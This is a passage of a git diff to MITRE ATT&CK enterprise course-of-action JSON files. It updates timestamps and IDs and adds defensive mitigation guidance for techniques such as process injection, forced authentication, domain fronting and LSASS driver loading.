+++ b/enterprise-attack/course-of-action/course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8598d578-3bcc-4fd5-ab70-e08cbb14c89d",
+    "id": "bundle--e03afc8f-b5f8-4596-9a0a-b2ed7f08cf21",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through API Mitigation",
             "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6.json b/enterprise-attack/course-of-action/course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6.json
index 82de7cd073..ee0272e1c3 100644
--- a/enterprise-attack/course-of-action/course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6.json
+++ b/enterprise-attack/course-of-action/course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ed0deb65-a15f-49c2-b34b-57c55387ad61",
+    "id": "bundle--06f29ecb-a3e0-49f5-82b0-7ff0b750d58a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scripting Mitigation",
             "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488.json b/enterprise-attack/course-of-action/course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488.json
index 66fc16696c..598508967f 100644
--- a/enterprise-attack/course-of-action/course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488.json
+++ b/enterprise-attack/course-of-action/course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8b172780-f909-4916-9fa4-a4d659b2f3eb",
+    "id": "bundle--08f050e8-ffa1-4660-9216-8df08ee4e261",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Timestomp Mitigation",
             "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97.json b/enterprise-attack/course-of-action/course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97.json
index bdc52be30e..e7b66a371c 100644
--- a/enterprise-attack/course-of-action/course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97.json
+++ b/enterprise-attack/course-of-action/course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--c7543c32-37c8-4fce-a99a-90eeb596ffca",
+    "id": "bundle--657b167f-f460-4552-8653-638a6d509ebf",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Discovery Mitigation",
-            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -23,24 +23,29 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "UCF STIG Elevation Account Enumeration",
+                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
+                    "url": "https://www.stigviewer.com/stig/microsoft%20windows%20server%202012%20member%20server/2013-07-25/finding/WN12-CC-000077"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--61d02387-351a-453e-a575-160a9abc3e04.json b/enterprise-attack/course-of-action/course-of-action--61d02387-351a-453e-a575-160a9abc3e04.json
index c699d3e02f..1bda979b65 100644
--- a/enterprise-attack/course-of-action/course-of-action--61d02387-351a-453e-a575-160a9abc3e04.json
+++ b/enterprise-attack/course-of-action/course-of-action--61d02387-351a-453e-a575-160a9abc3e04.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--64c597a8-ca07-4fef-bccc-f2a5862a89c3",
+    "id": "bundle--343a89a9-23b2-4c94-b0b7-ff995139facd",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Re-opened Applications Mitigation",
             "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec.json b/enterprise-attack/course-of-action/course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec.json
index c2dd8fbd63..d89dc8b6fd 100644
--- a/enterprise-attack/course-of-action/course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec.json
+++ b/enterprise-attack/course-of-action/course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--e10cf43a-2009-462d-b6f8-f2c27cf39aa4",
+    "id": "bundle--34739e0c-cf88-4afe-bbee-71d72197b5f1",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Netsh Helper DLL Mitigation",
             "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96.json b/enterprise-attack/course-of-action/course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96.json
new file mode 100644
index 0000000000..079f04a47d
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--c826f00e-227e-410e-9157-fd39e1c41b21",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Domain Fronting Mitigation",
+            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
+                    "external_id": "T1172"
+                },
+                {
+                    "source_name": "Mandiant No Easy Breach",
+                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
+                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
+                },
+                {
+                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
+                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29%20domain%20frontin.html"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40.json b/enterprise-attack/course-of-action/course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40.json
index 4f214b6fb1..f5116cac2a 100644
--- a/enterprise-attack/course-of-action/course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40.json
+++ b/enterprise-attack/course-of-action/course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--20792197-bbe6-411f-b6a3-bbd70dc02ced",
+    "id": "bundle--81fbf1c0-2fa2-4758-9dc8-6904e7cbfc4b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Configuration Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0.json b/enterprise-attack/course-of-action/course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0.json
index c8390e253f..1b699e8019 100644
--- a/enterprise-attack/course-of-action/course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0.json
+++ b/enterprise-attack/course-of-action/course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--18520204-9faa-4dbb-a8f3-1d27190a59e1",
+    "id": "bundle--7ebc5cb1-5eb5-4ef3-a1d8-1e064621b3f0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal on Host Mitigation",
             "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b.json b/enterprise-attack/course-of-action/course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b.json
index 6b2acbb736..b2e0ddb361 100644
--- a/enterprise-attack/course-of-action/course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b.json
+++ b/enterprise-attack/course-of-action/course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--942b2dad-3b75-4558-8be1-8e2f35cfb382",
+    "id": "bundle--7603c2af-a710-43f0-bc73-28954a67de3e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_MAIN Hijacking Mitigation",
             "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765.json b/enterprise-attack/course-of-action/course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765.json
new file mode 100644
index 0000000000..de6f1f15cc
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--ae72a0da-c6ea-42a1-ba08-e5949141c73f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Forced Authentication Mitigation",
+            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
+                    "external_id": "T1187"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "US-CERT SMB Security",
+                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7.json b/enterprise-attack/course-of-action/course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7.json
index e83bf6b8f8..76b159e68e 100644
--- a/enterprise-attack/course-of-action/course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7.json
+++ b/enterprise-attack/course-of-action/course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--9d4900a7-2b2b-4377-801a-bdde1c976121",
+    "id": "bundle--d8ce5e6e-e99d-4f80-b16f-7943acf1c3eb",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "DLL Injection Mitigation",
-            "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. \n\nIdentify or block potentially malicious software that may contain DLL injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama  (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux  (Citation: SELinux official), grsecurity  (Citation: grsecurity official), and AppAmour  (Citation: AppArmor official).",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -41,6 +41,31 @@
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "GDSecurity Linux injection",
+                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.",
+                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
+                },
+                {
+                    "source_name": "Linux kernel Yama",
+                    "description": "Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.",
+                    "url": "https://www.kernel.org/doc/Documentation/security/Yama.txt"
+                },
+                {
+                    "source_name": "SELinux official",
+                    "description": "SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.",
+                    "url": "https://selinuxproject.org/page/Main%20Page"
+                },
+                {
+                    "source_name": "grsecurity official",
+                    "description": "grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.",
+                    "url": "https://grsecurity.net/"
+                },
+                {
+                    "source_name": "AppArmor official",
+                    "description": "AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.",
+                    "url": "http://wiki.apparmor.net/index.php/Main%20Page"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7.json b/enterprise-attack/course-of-action/course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7.json
new file mode 100644
index 0000000000..2c33cc5826
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7.json
@@ -0,0 +1,23 @@
+{
+    "type": "bundle",
+    "id": "bundle--5551575d-7807-45e4-91d8-1a4d1da44fca",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Multi-hop Proxy Mitigation",
+            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
+                    "external_id": "T1188"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604.json b/enterprise-attack/course-of-action/course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604.json
index 8c7157c65a..a2d63efd53 100644
--- a/enterprise-attack/course-of-action/course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604.json
+++ b/enterprise-attack/course-of-action/course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--419b77eb-6a9d-4a93-8496-a023a47f8f01",
+    "id": "bundle--a537c6d5-b8d0-4225-ad22-c05253b3d8b1",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_LOAD_DYLIB Addition Mitigation",
             "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908.json b/enterprise-attack/course-of-action/course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908.json
index 77589c9310..1ad5cd7d4e 100644
--- a/enterprise-attack/course-of-action/course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908.json
+++ b/enterprise-attack/course-of-action/course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--50ba208e-1fb0-4066-9c0b-787106a4648a",
+    "id": "bundle--c511f9b7-7153-4ba8-8359-ccfa8f71d089",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Side-Loading Mitigation",
             "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b.json b/enterprise-attack/course-of-action/course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b.json
new file mode 100644
index 0000000000..a039b82cf9
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b.json
@@ -0,0 +1,43 @@
+{
+    "type": "bundle",
+    "id": "bundle--088c285e-0c45-47bb-98fc-076743da8660",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LSASS Driver Mitigation",
+            "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1177",
+                    "external_id": "T1177"
+                },
+                {
+                    "source_name": "Microsoft LSA Protection Mar 2014",
+                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
+                },
+                {
+                    "source_name": "Microsoft Enable Cred Guard April 2017",
+                    "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.",
+                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage"
+                },
+                {
+                    "source_name": "Microsoft Credential Guard April 2017",
+                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
